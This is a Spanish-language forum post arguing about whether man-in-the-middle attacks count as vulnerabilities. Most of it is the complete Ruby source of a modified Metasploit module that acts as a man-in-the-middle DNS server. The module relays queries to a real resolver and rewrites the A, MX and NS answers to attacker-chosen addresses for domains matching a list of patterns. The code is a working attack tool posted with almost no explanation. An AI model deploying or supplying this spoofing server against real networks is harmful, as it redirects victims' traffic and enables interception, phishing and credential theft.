Cita de: rockernault en 24 Febrero 2010, 21:26 PMme referia a que es una tonteria... MiTM no es una vulnerabilidad...Es verdad... tan solo es un ataque en el que el enemigo adquiere la capacidad de leer, insertar y modificar a voluntad, los mensajes entre dos partes sin que ninguna de ellas conozca que el enlace entre ellos ha sido violado...
Tal vez si los paquetes fuesen "Archivos", se modificarian por algun PAYLOAD
PD: fakedns.rb, responde a cualquier consulta DNS con una respuesta falsa apuntando a una dirección IP específica.
Código (ruby) [Seleccionar]
##
# $Id: fakedns.rb 5540 2008-06-25 23:04:19Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'resolv'
module Msf
class Auxiliary::Server::MITM_FakeDNS < Msf::Auxiliary
include Auxiliary::Report
def initialize
super(
'Name' => 'MITM DNS Service',
'Version' => '$Revision: 5540 $',
'Description' => %q{
This hack of the metasploit fakedns.rb serves as a sort
of MITM DNS server. Requests are passed through to a real
DNS server, and the responses are modified before being
returned to the client, if they match regular expressions
set in FILENAME.
},
'Author' => ['ddz', 'hdm', 'Wesley McGrew <wesley@mcgrewsecurity.com>'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
)
register_options(
[
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]),
# W: Added in an option for a set of filters, took out the catchall TARGETHOST
OptAddress.new('REALDNS', [true,"Ask this server for answers",nil]),
OptString.new('FILENAME', [true,"File of ip,regex for filtering responses",nil])
], self.class)
end
def run
begin
fp = File.new(datastore['FILENAME'])
rescue
print_status "Could not open #{datastore['FILENAME']} for reading. Quitting."
return
end
mod_entries = []
while !fp.eof?
entry = fp.gets().chomp().split(',')
mod_entries.push([entry[0],Regexp.new(entry[1])])
end
@port = datastore['SRVPORT'].to_i
# MacOS X workaround
::Socket.do_not_reverse_lookup = true
@sock = ::UDPSocket.new()
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@sock.bind(datastore['SRVHOST'], @port)
@run = true
Thread.new {
# Wrap in exception handler
begin
while @run
packet, addr = @sock.recvfrom(65535)
if (packet.length == 0)
break
end
request = Resolv::DNS::Message.decode(packet)
# W: Go ahead and send it to the real DNS server and
# get the response
sock2 = ::UDPSocket.new()
sock2.send(packet, 0, datastore['REALDNS'], 53) #datastore['REALDNS'], 53)
packet2, addr2 = sock2.recvfrom(65535)
sock2.close()
real_response = Resolv::DNS::Message.decode(packet2)
fake_response = Resolv::DNS::Message.new()
fake_response.qr = 1 # Recursion desired
fake_response.ra = 1 # Recursion available
fake_response.id = real_response.id
real_response.each_question { |name, typeclass|
fake_response.add_question(name, typeclass)
}
real_response.each_answer { |name, ttl, data|
replaced = false
mod_entries.each { |e|
if name.to_s =~ e[1]
case data.to_s
when /IN::A/
data = Resolv::DNS::Resource::IN::A.new(e[0])
replaced = true
when /IN::MX/
data = Resolv::DNS::Resource::IN::MX.new(10,Resolv::DNS::Name.create(e[0]))
replaced = true
when /IN::NS/
data = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(e[0]))
replaced = true
when /IN::PTR/
# Do nothing
replaced = true
else
# Do nothing
replaced = true
end
end
break if replaced
}
fake_response.add_answer(name,ttl,data)
}
real_response.each_authority { |name, ttl, data|
mod_entries.each { |e|
if name.to_s =~ e[1]
data = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(e[0]))
break
end
}
fake_response.add_authority(name,ttl,data)
}
response_packet = fake_response.encode()
@sock.send(response_packet, 0, addr[3], addr[1])
end
# Make sure the socket gets closed on exit
rescue ::Exception => e
print_error("fakedns: #{e.class} #{e} #{e.backtrace}")
ensure
@sock.close
end
}
end
end
end
